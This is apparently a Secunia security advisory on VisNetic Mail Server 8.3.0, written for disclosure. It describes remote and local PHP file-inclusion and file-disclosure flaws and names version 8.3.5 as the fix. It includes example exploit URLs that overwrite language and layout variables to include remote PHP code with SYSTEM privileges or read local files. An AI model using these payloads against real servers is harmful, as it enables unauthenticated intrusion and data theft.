Secunia

Secunia Research has discovered some vulnerabilities in VisNetic Mail Server, which can be exploited by malicious users and by malicious people to disclose potentially sensitive information and to compromise a vulnerable system.

1) The webmail and webadmin services run with PHP configured with "register_global" enabled. The "language" and "lang_settings" variables in "/accounts/inc/include.php" and "/admin/inc/include.php" are not properly initialised when the scripts are accessed directly. This makes it possible to overwrite the variables to cause the scripts to include arbitrary PHP scripts from local and remote sources.

Example:
http://[host]:32000/accounts/inc/include.php?language=0&lang_settings[0][1]=http://[host]/
http://[host]:32000/admin/inc/include.php?language=0&lang_settings[0][1]=http://[host]/

Successful exploitation allows execution of arbitrary PHP code on a vulnerable server with SYSTEM privileges without requiring authentication.

2) Input passed to the "lang" parameter in "/dir/include.html" isn't properly validated before being used to include files. This can be exploited to include arbitrary files from local sources.

Example:
http://[host]:32000/dir/include.html?lang=[file]%00

Successful exploitation allows disclosure of arbitrary files on a vulnerable server without requiring authentication.

3) Input passed to the "language" parameter in "/mail/settings.html" isn't properly validated before being saved to the database. This can be exploited in conjunction with overwrite of the "lang_settings" variable, to include arbitrary PHP scripts from local and remote sources.

Example:
http://[host]:32000/mail/settings.html?id=[current_id]&Save_x=1&language=TEST
http://[host]:32000/mail/index.html?id=[current_id]&lang_settings[TEST]=test;http://[host]/;

Successful exploitation allows execution of arbitrary PHP scripts on a vulnerable server with SYSTEM privileges but requires a valid logon.

4) The "default_layout" and "layout_settings" variables are not properly initialised when "/mail/include.html" encounters a HTTP_USER_AGENT string that it does not recognise. This can be exploited in conjunction with overwrite of the "default_layout" and "layout_settings" variables to disclose the content of local files.

Example (using non-IE/Mozilla/Firefox browser):
http://[host]:32000/mail/index.html?/mail/index.html?
default_layout=OUTLOOK2003&layout_settings[OUTLOOK2003]=test;[file]%00;2

Successful exploitation allows disclosure of arbitrary files on a vulnerable server without requiring authentication.

The vulnerabilities have been confirmed in version 8.3.0 build 1 General Availability Release [2005-12-02]. Prior versions may also be affected.

Solution
Update to version 8.3.5.
Further details available in Customer Area

Provided and/or discovered by
Tan Chew Keong, Secunia Research.

Changelog
Further details available in Customer Area

Original Advisory
Secunia Research:
http://secunia.com/secunia_research/2005-62/advisory/

Deep Links
Links available in Customer Area